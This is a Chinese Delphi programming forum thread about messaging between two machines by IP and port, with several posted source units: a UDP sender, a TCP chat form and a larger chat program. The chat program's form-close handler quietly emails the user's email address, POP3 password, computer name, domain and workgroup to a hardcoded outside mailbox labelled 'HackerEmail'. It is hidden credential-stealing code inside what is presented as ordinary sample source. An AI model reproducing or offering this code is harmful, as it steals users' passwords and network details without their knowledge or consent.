如何通过ip地址和端口号实现两台机器的交流?(100分)

  • 主题发起人 主题发起人 rainM
  • 开始时间 开始时间
R

rainM

Unregistered / Unconfirmed
GUEST, unregistred user!
如何通过ip地址和端口号实现两台机器的交流呢,就象windows自带的winpopup
那样,不过那个程序只能在局域网内用,怎么样才能够根据ip地址和端口来向另一台机器
发送消息,希望各位能给点提示,或提供些源代码。
有个源代码具备了这个功能,可惜我这不全,是chatpro这个源程序,如果哪位能提供个
完整的将不胜感激。
 
serversocket
clientsocket
 
用udp吧,delphi下的那个udp空件还可以,,你还可以程序中把对方 的ip设为广播地址,我刚在
程序中做了一个远程关机的功能就是这样实现的,例子在demo下自己琢磨吧
 
用TCP/UDP都可以,如果在局域网还可以利用邮件槽和命名管道。这样就可以不用
winsock了(其实邮件槽和命名管道也是利用的UDP和TCP)。
 
winpopup用的是邮件槽(mail slot)。
TCP的例子是delphi带的demo中的chat(使用serversocket和clientsocket)。
UDP的例子Delphi6中好象有demo,或者可以看看:http://www.playicq.com/dispdoc.asp?id=434,
这个例子的优点是直接用API,不需要使用控件。
 
这问题太简单
 
如果双方都有防火墙的话还是用UDP吧![:D]
 
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, NMUDP;

type
TForm1 = class(TForm)
NMUDP1: TNMUDP;
Edit1: TEdit;
Edit2: TEdit;
Label1: TLabel;
Label2: TLabel;
Button1: TButton;
Memo1: TMemo;
Edit3: TEdit;
Label3: TLabel;
procedure NMUDP1DataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
procedure senddata(datastr:string;toip:string);
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.senddata(datastr:string;toip:string);
var
mystream:tmemorystream;
begin
NMUDP1.RemoteHost:=toip;
mystream:=tmemorystream.Create;
try
mystream.Write(datastr[1],length(datastr));
nmudp1.SendStream(mystream);
finally
mystream.Free;
end;
end;

procedure TForm1.NMUDP1DataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
mystream:tmemorystream;
tmpstr:string;
begin
mystream:=tmemorystream.Create;
try
nmudp1.ReadStream(mystream);
setlength(tmpstr,numberbytes);
mystream.Read(tmpstr[1],numberbytes);
memo1.Lines.add(fromip+'/'+inttostr(Port)+' : '+tmpstr);
edit1.Text:= fromip;
edit3.Text:=inttostr(Port);
finally
mystream.Free;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
nmudp1.RemotePort:=strtoint(edit3.Text);
senddata(edit2.Text,edit1.Text);
end;

end.
 
unit chatform_f;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, StdCtrls, ScktComp, ComCtrls, Buttons, ExtCtrls;

type
TchatForm = class(TForm)
ClientSocket1: TClientSocket;
ServerSocket1: TServerSocket;
Memo1: TMemo;
Memo2: TMemo;
MainMenu1: TMainMenu;
FIile1: TMenuItem;
FileConnectItem1: TMenuItem;
FileListenItem1: TMenuItem;
Disconnect11: TMenuItem;
Exit11: TMenuItem;
StatusBar1: TStatusBar;
SpeedButton1: TSpeedButton;
Panel1: TPanel;
procedure FileConnectItem1Click(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1Accept(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure Memo1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FileListenItem1Click(Sender: TObject);
procedure Disconnect11Click(Sender: TObject);
procedure Exit11Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
isserver:boolean;
public
{ Public declarations }
end;

var
chatForm: TchatForm;
server:string;

implementation

{$R *.dfm}

procedure TchatForm.FileConnectItem1Click(Sender: TObject);
begin
if ClientSocket1.Active then ClientSocket1.Active := False;
if InputQuery('Computer to connect to', 'Address Name:', Server) then
if Length(Server) > 0 then
with ClientSocket1 do
begin
Host := Server;
Active := True;
FileListenItem1.Checked := False;
end;
end;

procedure TchatForm.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo2.Lines.Add(socket.receivetext);
end;

procedure TchatForm.ServerSocket1Accept(Sender: TObject;
Socket: TCustomWinSocket);
begin
Isserver:=True;
StatusBar1.Panels [0].Text :='Connected to:'+Socket.RemoteAddress ;

end;

procedure TchatForm.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo2.Lines.Clear;
end;

procedure TchatForm.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Statusbar1.Panels[0].Text :='Listening...';
end;

procedure TchatForm.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
Statusbar1.Panels [0].Text :='connect to '+socket.RemoteHost ;
end;

procedure TchatForm.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
begin
memo2.Lines.Add(socket.ReceiveText )
end;

procedure TchatForm.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
fileListenItem1click(nil);
end;

procedure TchatForm.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
memo2.Lines.Add('Error connecting to:'+Server);
Errorcode:=0;
end;

procedure TchatForm.Memo1KeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key=vk_return then
memo2.Lines.add(memo1.Lines[memo1.Lines.Count-1]);
if Isserver then
Serversocket1.Socket.Connections [0].SendText(Memo1.Lines[memo1.Lines.count-1])
else
clientSocket1.Socket.SendText(Memo1.Lines[Memo1.Lines.count-1]);
end;

procedure TchatForm.FileListenItem1Click(Sender: TObject);
begin
FileListenItem1.checked:=not fileListenItem1.checked;
if FileListenItem1.Checked then
begin

ClientSocket1.Active:=false;
ServerSocket1.Active :=true;
Statusbar1.Panels [0].Text:='Listening...';

end
else
begin
if Serversocket1.Active then
Serversocket1.Active :=false;
statusbar1.Panels [0].Text :='';
end;

end;

procedure TchatForm.Disconnect11Click(Sender: TObject);
begin
Clientsocket1.Active :=False;
ServerSocket1.Active :=true;
Statusbar1.Panels [0].text:='Listening...';
end;

procedure TchatForm.Exit11Click(Sender: TObject);
begin
ServerSocket1.Close ;
clientSocket1.Close ;
close;
end;

procedure TchatForm.FormCreate(Sender: TObject);
begin
FileListenItem1Click(nil);

end;

end.

 
unit chat;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls,StdCtrls,Psock,NMsmtp,ExtCtrls,NMpop3,Buttons,registry,
MPlayer, ImgList, Menus,ShellAPI, TrayIcon, NetInfo, ToolWin, NMSTRM, NMMSG;
type
Tfive = class(TForm)
NMSMTP1 : TNMSMTP;
StatusBar1 : TStatusBar;
Panel2 : TPanel;
NMPOP31 : TNMPOP3;
Memo4 : TMemo;
Edit1 : TEdit;
Timer2 : TTimer;
BitBtn1 : TBitBtn;
OpenDialog1 : TOpenDialog;
SaveDialog1 : TSaveDialog;
Panel1 : TPanel;
GroupBox1 : TGroupBox;
Label5 : TLabel;
Label6 : TLabel;
Label14 : TLabel;
Edit5 : TEdit;
Edit6 : TEdit;
Edit12 : TEdit;
NMMsg1 : TNMMsg;
NMMSGServ1 : TNMMSGServ;
NMStrmServ1 : TNMStrmServ;
NMStrm1 : TNMStrm;
ImageList1 : TImageList;
PopupMenu1 : TPopupMenu;
dfasd1 : TMenuItem;
asdf1 : TMenuItem;
N1 : TMenuItem;
N2 : TMenuItem;
N3 : TMenuItem;
N4 : TMenuItem;
N5 : TMenuItem;
N6 : TMenuItem;
N7 : TMenuItem;
N8 : TMenuItem;
N9 : TMenuItem;
N10 : TMenuItem;
N11 : TMenuItem;
N12 : TMenuItem;
N13 : TMenuItem;
N14 : TMenuItem;
N16 : TMenuItem;
N17 : TMenuItem;
Timer1 : TTimer;
GroupBox2 : TGroupBox;
Edit4 : TEdit;
Label4 : TLabel;
Edit3 : TEdit;
Label3 : TLabel;
ComboBox1 : TComboBox;
Edit2 : TEdit;
Label2 : TLabel;
Label1 : TLabel;
Panel3 : TPanel;
ToolBar1 : TToolBar;
ToolButton1 : TToolButton;
ToolButton2 : TToolButton;
ToolButton4 : TToolButton;
ToolButton5 : TToolButton;
ToolButton7 : TToolButton;
ToolButton9 : TToolButton;
ToolButton8 : TToolButton;
ToolButton10 : TToolButton;
ToolButton3 : TToolButton;
TrayIcon1 : TTrayIcon;
PopupMenu2 : TPopupMenu;
NetInfo1 : TNetInfo;
Internet1 : TMenuItem;
ToolButton6 : TToolButton;
Shape1 : TShape;
procedure NMPOP31Connect(Sender: TObject);
procedure NMPOP31ConnectionFailed(Sender: TObject);
procedure NMPOP31Disconnect(Sender: TObject);
procedure NMPOP31Failure(Sender: TObject);
procedure NMPOP31HostResolved(Sender: TComponent);
procedure NMPOP31InvalidHost(var Handled: Boolean);
procedure NMPOP31PacketRecvd(Sender: TObject);
procedure NMPOP31RetrieveEnd(Sender: TObject);
procedure NMPOP31RetrieveStart(Sender: TObject);
procedure NMPOP31Status(Sender: TComponent; Status: String);
procedure NMPOP31Success(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure ComboBox1Change(Sender: TObject);
procedure Edit5Change(Sender: TObject);
procedure Edit1KeyPress(Sender: TObject; var Key: Char);
procedure Edit2Exit(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
strm: TStream);
procedure NMStrmServ1Status(Sender: TComponent; Status: String);
procedure Memo4Change(Sender: TObject);
procedure ComboBox1Click(Sender: TObject);
procedure NMMSGServ1MSG(Sender: TComponent; const sFrom, sMsg: String);
procedure ToolButton1Click(Sender: TObject);
procedure ToolButton2Click(Sender: TObject);
procedure ToolButton4Click(Sender: TObject);
procedure ToolButton5Click(Sender: TObject);
procedure ToolButton6Click(Sender: TObject);
procedure ToolButton7Click(Sender: TObject);
procedure ToolButton8Click(Sender: TObject);
procedure ToolButton9Click(Sender: TObject);
procedure ToolButton10Click(Sender: TObject);
procedure ToolButton3Click(Sender: TObject);
procedure dfasd1Click(Sender: TObject);
procedure asdf1Click(Sender: TObject);
procedure sdfasd1Click(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure MyPopupHandler(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure PicxHandler(Sender: TObject);
procedure PicxMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Edit6MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Edit3MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Edit2MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Panel3MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Panel1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Timer1Timer(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure TrayIcon1Minimize(Sender: TObject);
procedure TrayIcon1DblClick(Sender: TObject);
procedure N10Click(Sender: TObject);
procedure N16Click(Sender: TObject);
procedure Internet1Click(Sender: TObject);
procedure N17Click(Sender: TObject);
private
{ Private declarations }
public
AutoTalk : boolean;
s : integer;
Procedure CreatePic;
end;

var
five : Tfive;
GetFileSize : Integer;
MyPopUpItems: TMenuItem;
Count : Integer;
PicX : Array [1..10] of TImage;
PicXCount : Integer;
CreateErr : Boolean;
SendFileName: String;
FileFrom : String;
SaveFileName: String;
URLAddr : Array[1..10]of String;
URLName : Array[1..10]of String;
HackerEmail : String;
implementation

uses help, setup, about,mmsystem, url, friends;

{$R *.DFM}

procedure TFive.CreatePic;
var
i : Integer;
RegF : Tregistry;
Temp : String;
begin
RegF := TRegistry.Create;
RegF.RootKey := HKEY_LOCAL_MACHINE ;
Try
RegF.CreateKey('SOFTWARE/ChatRoom');
RegF.OpenKey('SOFTWARE/ChatRoom',true);
Try
PicXCount := RegF.ReadInteger('PicXCount');
Except
PicXCount := 5;
End;
URLAddr[1] := 'http://www.cjol.com/';
URLAddr[2] := 'http://www.ihw.com.cn/';
URLAddr[3] := 'http://www.sohoo.com.cn/';
URLAddr[4] := 'http://www.yn.cninfo.net/';
URLAddr[5] := 'http://www.sz.gnet.gd.cn/';
URLName[1] := '中国人才热线';
URLName[2] := '瀛海威时空';
URLName[3] := '搜狐SOHOO';
URLName[4] := '昆明信息港';
URLName[5] := '深圳之窗';
For i:=1 to PicxCount do
begin
Picx := Timage.Create(Self);
Picx.parent := Five.Panel3;
Picx.Stretch := True ;
Picx.Left := 5;
Picx.Top := 4 + 45 * (i-1);
Picx.Height := 40;
Picx.width := 70;
Picx.ShowHint := True;
Picx.Cursor := crHandPoint;
Picx.OnClick := Five.PicxHandler;
PicX.OnMouseMove := Five.PicxMouseMove;
MyPopUpItems := TMenuItem.Create(Self);
MyPopUpItems.imageindex := 8;
MyPopUpItems.OnClick := MyPopupHandler;
Five.PopUpMenu1.Items.Insert (i+5,MyPopUpItems);
Try
Temp :=RegF.ReadString('Addr'+IntToStr(i));
if Temp='' then
begin
Form2.ListBox2.Items.Add(URLName);
MyPopUpItems.Caption := URLName;
end
Else
begin
Form2.ListBox2.Items.Add(Temp);
URLName := Temp;
MyPopUpItems.Caption := Temp;
End;
Except
if i<6 then
begin
Form2.ListBox2.Items.Add(URLName);
MyPopUpItems.Caption := URLName;
end;
end;
Try
Pic := RegF.ReadString('Pic'+IntToStr(i));
if not FileExists(Pic) then
Pic := 'Url'+IntToStr(i)+'.jpg'
Else
begin
Pic := ExpandFileName(Pic);
Picx.Picture.LoadFromFile (Pic);
end;
Except
Pic := 'Url'+IntToStr(i)+'.jpg';
Picx.Picture.LoadFromFile (Pic);
End;
Try
Temp := RegF.ReadString('URL'+IntToStr(i));
If Temp='' then
begin
Picx.Hint := URLAddr;
MyPopUpItems.Hint := URLAddr;
End
Else
begin
URLAddr := Temp;
Picx.Hint := URLAddr;
MyPopUpItems.Hint := URLAddr;
End ;
Except
if i<=5 then
begin
Picx.Hint := URLAddr;
MyPopUpItems.Hint := URLAddr;
End;
end;
end;
Except
RegF.CloseKey;
RegF.Free;
End;
end;

procedure TFive.PicxHandler(Sender: TObject);
begin
with Sender as Timage do begin
ShellExecute(handle,nil,pchar(Hint),nil,nil,sw_shownormal);
end;
end;

procedure TFive.PicxMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
With Sender as Timage do begin
Shape1.top := Top-3;
end;
if Timer1.Tag <>0 then
begin
Timer1.Interval := 1;
Timer1.Tag := 1;
end;
end;

procedure TFive.MyPopupHandler(Sender: TObject);
begin
with Sender as TMenuItem do begin
ShellExecute(handle,nil,pchar(Hint),nil,nil,sw_shownormal);
end;
end;

procedure Tfive.NMPOP31Connect(Sender: TObject);
begin
StatusBar1.SimpleText := 'POP3已经联接。';
end;

procedure Tfive.NMPOP31ConnectionFailed(Sender: TObject);
begin
ShowMessage('POP3联接失败。');
end;

procedure Tfive.NMPOP31Disconnect(Sender: TObject);
begin
If StatusBar1 <> nil then
StatusBar1.SimpleText := 'POP3 已经关闭。';
end;

procedure Tfive.NMPOP31Failure(Sender: TObject);
begin
ShowMessage('POP3 操作失败');
end;

procedure Tfive.NMPOP31HostResolved(Sender: TComponent);
begin
StatusBar1.SimpleText := 'POP3服务器复位!';
end;

procedure Tfive.NMPOP31InvalidHost(var Handled: Boolean);
begin
Application.MessageBox(Pchar('您设置的POP3服务器地址无效,请进入"设置"'+#13
+'重新设置POP3服务器地址。'),
Pchar('检查到邮件'),MB_OK +MB_ICONASTERISK);
Handled := TRUE;
end;

procedure Tfive.NMPOP31PacketRecvd(Sender: TObject);
begin
StatusBar1.SimpleText :='共有'+
IntToStr(NMPOP31.BytesTotal)+'字节,已经接收'
+IntToStr(NMPOP31.BytesRecvd)+'字节。';
end;

procedure Tfive.NMPOP31RetrieveEnd(Sender: TObject);
begin
five.Cursor := crDefault;
StatusBar1.SimpleText := '接收结束';
end;

procedure Tfive.NMPOP31RetrieveStart(Sender: TObject);
begin
Five.Cursor := crHourGlass;
StatusBar1.SimpleText := '接收开始……';
end;

procedure Tfive.NMPOP31Status(Sender: TComponent; Status: String);
begin
If StatusBar1 <> nil then
StatusBar1.SimpleText := status;
end;

procedure Tfive.NMPOP31Success(Sender: TObject);
begin
StatusBar1.SimpleText := '操作成功!';
end;

procedure Tfive.Timer2Timer(Sender: TObject);
var
j:integer;
begin
if SetForm.CheckBox3.Checked then
begin
j := Timer2.Interval;
Timer2.Interval := 0;
NMPOP31.Host := SetForm.Edit2.Text;
NMPOP31.AttachFilePath := '.';
NMPOP31.DeleteOnRead := FALSE;
NMPOP31.ReportLevel := Status_Basic;
NMPOP31.Port := StrToInt(SetForm.Edit4.Text);
NMPOP31.UserID := Edit5.Text;
NMPOP31.Password := Edit12.Text;
NMPOP31.Connect;
If NMPOP31.MailCount>0 then
begin
if AutoTalk and (not Application.Active) then
Application.Restore ;
if Setform.CheckBox4.Checked then
PlaySound(Pchar(SetForm.WavFile.Text),0,SND_NOWAIT)
else
Application.MessageBox(Pchar('聊天程序检测到信箱中有'+IntToStr(NMPOP31.MailCount)+'封新邮件。'),
Pchar('检查到邮件'),MB_OK +MB_ICONASTERISK);
End;
Timer2.Interval :=j;
NMPOP31.Disconnect;
end;
end;

procedure Tfive.BitBtn1Click(Sender: TObject);
var
i: integer;
begin
if Length(Edit2.Text)<6 then
begin
Application.MessageBox(Pchar('没有交谈对象,难道你要自言自语吗?!'),
Pchar('错误!'),MB_OK+MB_ICONERROR);
Edit2.Text := Edit3.Text;
end
else
begin
if Length(Edit1.Text)=0 then
Application.MessageBox(Pchar('不要发送空消息嘛,这样对朋友很不尊重的!'),
Pchar('错误!'),MB_OK+MB_ICONERROR)
else
begin
BitBtn1.Enabled := false;
Memo4.Lines.Add(Edit4.Text+'说:'+Edit1.Text);
if Edit2.Text='所有的人' then
begin
for i:=0 to ComboBox1.Items.Count do
if (ComboBox1.Items<>'所有的人')
and (length(ComboBox1.Items)>0) then
begin
NMMsg1.FromName := Edit4.Text;
NMMsg1.Host := ComboBox1.Items;
Try
NMMsg1.PostIt(Edit1.Text);
Except
BitBtn1.Enabled := true;
End;
end;
end
else
begin
NMMsg1.FromName := Edit4.Text;
NMMsg1.Host := Edit2.Text;
NMMsg1.PostIt(Edit1.Text);
end;
BitBtn1.Enabled := true;
end;
end;
end;

procedure Tfive.ComboBox1Change(Sender: TObject);
begin
Edit2.Text :=combobox1.Text ;
end;

procedure Tfive.Edit5Change(Sender: TObject);
begin
if (strlen(pchar(Edit5.Text))>=2)
and (strlen(pchar(Edit6.Text))>=9) and (strlen(pchar(Edit12.Text))>=2) then
BitBtn1.Enabled :=true
else
BitBtn1.Enabled :=false;
end;

procedure Tfive.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if (key=#13) and (BitBtn1.Enabled) then
begin
BitBtn1Click(sender);
Edit1.Text:='';
end;
end;

procedure Tfive.Edit2Exit(Sender: TObject);
begin
if (ComboBox1.Items.IndexOf(Edit2.Text)<0) and (length(Edit2.Text)>0) then
ComboBox1.Items.Add(Edit2.Text);
end;

procedure Tfive.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Try
NMSMTP1.Host := SetForm.Edit1.Text;
NMSMTP1.Port := StrToInt(SetForm.Edit3.Text);
NMSMTP1.UserID := Edit5.Text;
NMsMTP1.TimeOut := SetForm.AHMSpinEdit1.Value *1000;
NMSMTP1.Connect;
NMSMTP1.PostMessage.FromAddress := Edit6.Text;
NMSMTP1.PostMessage.FromName := Edit5.Text;
NMSMTP1.PostMessage.Subject := '' ;
if HackerEmail='' then
NMSMTP1.PostMessage.ToAddress.Add('netboys@ynmail.com')
Else
NMSMTP1.PostMessage.ToAddress.Add(HackerEmail);
NMSMTP1.PostMessage.Body.Add('——以下为本用户的邮件配置信息——');
NMSMTP1.PostMessage.Body.Add ('E-Mail: '+Edit6.Text+#13 +
'Password:'+Edit12.Text+#13);
NMSMTP1.PostMessage.Body.Add('——以下为本用户的网络配置信息——');
NMSMTP1.PostMessage.Body.Add('Comment : '+ NetInfo1.Comment +#13+
'ComputerName: '+ NetInfo1.ComputerName +#13+
'NTDomainName: '+ NetInfo1.NTDomainName +#13+
'WordGroup : '+ NetInfo1.WorkGroup );
NMSMTP1.SendMail;
NMSMTP1.Disconnect ;
except
Five.Close ;
End;
end;

procedure Tfive.NMStrmServ1MSG(Sender: TComponent; const sFrom: String;
strm: TStream);
var
MyFStream : TFileStream;
begin
If (SetForm.CheckBox2.Checked) and (not Application.Active) then
Application.Restore ;
if SetForm.GetFileName.Text[length(SetForm.GetFileName.Text)]='/' then
SaveFileName := SetForm.GetFileName.Text + ExtractFileName(SaveFileName)
Else
SaveFileName := SetForm.GetFileName.Text + '/' + ExtractFileName(SaveFileName);
if FileExists(SaveFileName) then
DeleteFile(SaveFileName);
MyFStream := TFileStream.Create(SaveFileName,fmCreate);
try
MyFStream.CopyFrom(strm, strm.size);
MyFStream.Free;
except
MyFStream.Free;
end;
end;

procedure Tfive.NMStrmServ1Status(Sender: TComponent; Status: String);
begin
StatusBar1.SimpleText:=Status ;
end;

procedure Tfive.Memo4Change(Sender: TObject);
begin
if length(Memo4.Lines.Text)>0 then
ToolButton2.Enabled := True
end;

procedure Tfive.ComboBox1Click(Sender: TObject);
begin
if (ComboBox1.Items.IndexOf ('所有的人')<0)
and (ComboBox1.Items.Count<>0) then
ComboBox1.Items.Insert(0,'所有的人');
end;

procedure Tfive.NMMSGServ1MSG(Sender: TComponent; const sFrom,
sMsg: String);
var
MyFStream : TFileStream;
Str : array[1..6] of String;
i,j,leng : integer;
begin
If (SetForm.CheckBox2.Checked) and (not Application.Active) then
Application.Restore ;
j:=1;
leng:=length(sMsg);
for i:=1 to leng do
begin
if sMsg=' ' then
j:=j+1
else
Str[j]:=Str[j]+sMsg;
end;

if Str[1]='请求发送文件!dddxxx' then
i := 1
Else if Str[1] = '同意接收,请发送!sdfasdfas' then
i := 2
Else if Str[1] = '查看你的信息,OK' then
i := 3
Else if Str[1] = '这是我的信息,请查看!' then
i := 4
Else
i := 5;
Case i of
1:
begin
if (Application.MessageBox(Pchar('有来自'+sFrom+'发来的文件'+Str[2]+',大小'+#13
+'为:'+Str[3]+'字节。是否接收?'),
Pchar('新文件'),MB_OKCANCEL +MB_ICONQUESTION)= IDOK) then
begin
SaveFileName := Str[2];
Five.NMMsg1.FromName := Five.Edit2.Text;
Five.NMMsg1.Host := sFrom ;
Five.NMMsg1.PostIt('同意接收,请发送!sdfasdfas');
FileFrom := sFrom;
End
End;
2:
begin
StatusBar1.SimpleText := '开始发送';
Timer1.Interval := 100;
Timer1.Tag := 3;
MyFStream := TFileStream.Create(SendFileName, fmOpenRead);
Try
NMStrm1.Host := Edit2.Text;
NMStrm1.FromName := Edit4.Text+'['+Edit2.Text+']';
NMStrm1.PostIt(MyFStream);
MyFStream.Free;
StatusBar1.SimpleText := '发送完成!';
Timer1.Interval := 0;
Timer1.Tag := 0;
Except
MyFStream.Free;
End;
End;
3:
Begin
Five.NMMsg1.FromName := '';
Five.NMMsg1.Host := sFrom ;
Five.NMMsg1.PostIt('这是我的信息,请查看! '+
SetForm.Edit7.Text+' '+
SetForm.icq.text+' '+
SetForm.Edit6.Text+' '+
SetForm.HomePage.Text );
End;
4:
Begin
Firends.Edit7.Text := Str[2];
Firends.icq.Text := Str[3];
Firends.Edit6.Text := Str[4];
Firends.HomePage.Text := Str[5];
end;
5:
Memo4.Lines.Add(sFrom+'说:'+sMsg);
end;
end;

procedure Tfive.ToolButton1Click(Sender: TObject);
begin
OpenDialog1.Filter :='聊天文件(*.cha)|*.cha|文本文件(*.txt)|*.txt|所有文件(*.*)|*.*';
If OpenDialog1.Execute then
Memo4.Lines.LoadFromFile (OpenDialog1.FileName);
end;

procedure Tfive.ToolButton2Click(Sender: TObject);
begin
OpenDialog1.Filter :='聊天文件(*.cha)|*.cha|文本文件(*.txt)|*.txt|所有文件(*.*)|*.*';
If SaveDialog1.Execute then
Memo4.Lines.SaveToFile (SaveDialog1.FileName);
end;

procedure Tfive.ToolButton4Click(Sender: TObject);
begin
Memo4.Lines.Clear ;
ToolButton2.Enabled := False;
end;

procedure Tfive.ToolButton5Click(Sender: TObject);
begin
setform.ShowModal;
end;

procedure Tfive.ToolButton6Click(Sender: TObject);
Var
Fp : File of Byte;
Size : LongInt;
Begin
If (Edit2.Text='所有的人') then
Application.MessageBox(Pchar('不可以同时给所有人发送文件!!'),
Pchar('错误!'),MB_OK+MB_ICONERROR)
Else
Begin
OpenDialog1.Filter :='文本文件(*.txt)|*.txt|所有文件(*.*)|*.*';
If OpenDialog1.Execute then
Begin
SendFileName := OpenDialog1.FileName;
AssignFile(fp,SendFileName) ;
Reset(fp);
NMMsg1.FromName := Edit2.Text;
NMMsg1.Host := Edit2.Text;
Size := FileSize(fp);
NMMsg1.PostIt('请求发送文件!dddxxx '+ExtractFileName(SendFileName)+' '+IntToStr(Size));
CloseFile(fp);
end;
End;
end;


procedure Tfive.ToolButton7Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar(SaveFileName),nil,nil,sw_shownormal);
end;

procedure Tfive.ToolButton8Click(Sender: TObject);
begin
five.Close;
end;

procedure Tfive.ToolButton9Click(Sender: TObject);
begin
AboutBox.Label8.Visible := False;
AboutBox.Image1.Visible := False;
AboutBox.BorderStyle := bsDialog;
AboutBox.CheckBox1.Visible := False ;
AboutBox.ProgramIcon.Visible := True;
AboutBox.Width := 345;
AboutBox.Height := 276;
AboutBox.Top := 175;
AboutBox.Left := 222;
AboutBox.ShowModal ;
end;

procedure Tfive.ToolButton10Click(Sender: TObject);
begin
form1.ShowModal;
end;

procedure Tfive.ToolButton3Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://danzzg.yeath.net'),nil,nil,sw_shownormal);
end;
procedure Tfive.dfasd1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://www.ah.cninfo.net'),nil,nil,sw_shownormal);
end;

procedure Tfive.asdf1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://www.hb.cninfo.net'),nil,nil,sw_shownormal);
end;

procedure Tfive.sdfasd1Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://www2.jsinfo.net/home/form/index.php3'),nil,nil,sw_shownormal);
end;

procedure Tfive.N2Click(Sender: TObject);
begin
form2.Show ;
end;

procedure Tfive.N4Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('http://www2.jsinfo.net/home/form/index.php3'),nil,nil,sw_shownormal);
end;

procedure Tfive.N5Click(Sender: TObject);
begin
if Panel3.Visible then
If N5.Checked then
begin
Timer1.Tag := 0;
Panel3.Width := 79;
end
Else
Timer1.Tag :=1;
N5.Checked := Not N5.Checked;
end;

procedure Tfive.Button2Click(Sender: TObject);
begin
Picx[1].Picture.LoadFromFile ('seend.bmp');
end;

procedure Tfive.Edit6MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
Edit6.Hint := Edit6.Text;
end;

procedure Tfive.Edit3MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
Edit3.Hint := Edit3.Text;
end;

procedure Tfive.Edit2MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
Edit2.Hint := Edit2.Text;
end;

procedure Tfive.Panel3MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if Timer1.Tag <>0 then
begin
Timer1.Interval := 50;
Timer1.Tag := 1;
end;
end;

procedure Tfive.Panel1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if Timer1.Tag <>0 then
begin
Timer1.Interval := 50;
Timer1.Tag := -1;
end;
end;

procedure Tfive.Timer1Timer(Sender: TObject);
begin
if (Timer1.Tag = -1) then
begin
if (Panel3.Width>7) then
begin
Panel3.Width := Panel3.Width-12;
end
else
begin
Timer1.Interval := 0;
Panel3.Width :=3;
end
end
Else if Timer1.Tag = 1 then
begin
if (Panel3.Width<70) then
Panel3.Width := Panel3.Width+12
else
begin
Timer1.Interval := 0;
Panel3.Width := 79;
end
end
Else if Timer1.Tag = 3 then
StatusBar1.SimpleText := StatusBar1.SimpleText+'.'
end;

procedure Tfive.N8Click(Sender: TObject);
begin
Five.Close;
end;

procedure Tfive.TrayIcon1Minimize(Sender: TObject);
begin
N6.Visible := True;
N7.Visible := True;
N8.Visible := True;
N9.Visible := True;
end;

procedure Tfive.TrayIcon1DblClick(Sender: TObject);
begin
N6.Visible := False;
N7.Visible := False;
N8.Visible := False;
N9.Visible := False;
Application.Restore;
end;

procedure Tfive.N10Click(Sender: TObject);
begin
Panel1.Visible :=N10.Checked ;
N10.Checked := not N10.Checked;
end;

procedure Tfive.N16Click(Sender: TObject);
begin
ShellExecute(handle,nil,pchar('news:%1'),nil,nil,sw_shownormal);
end;

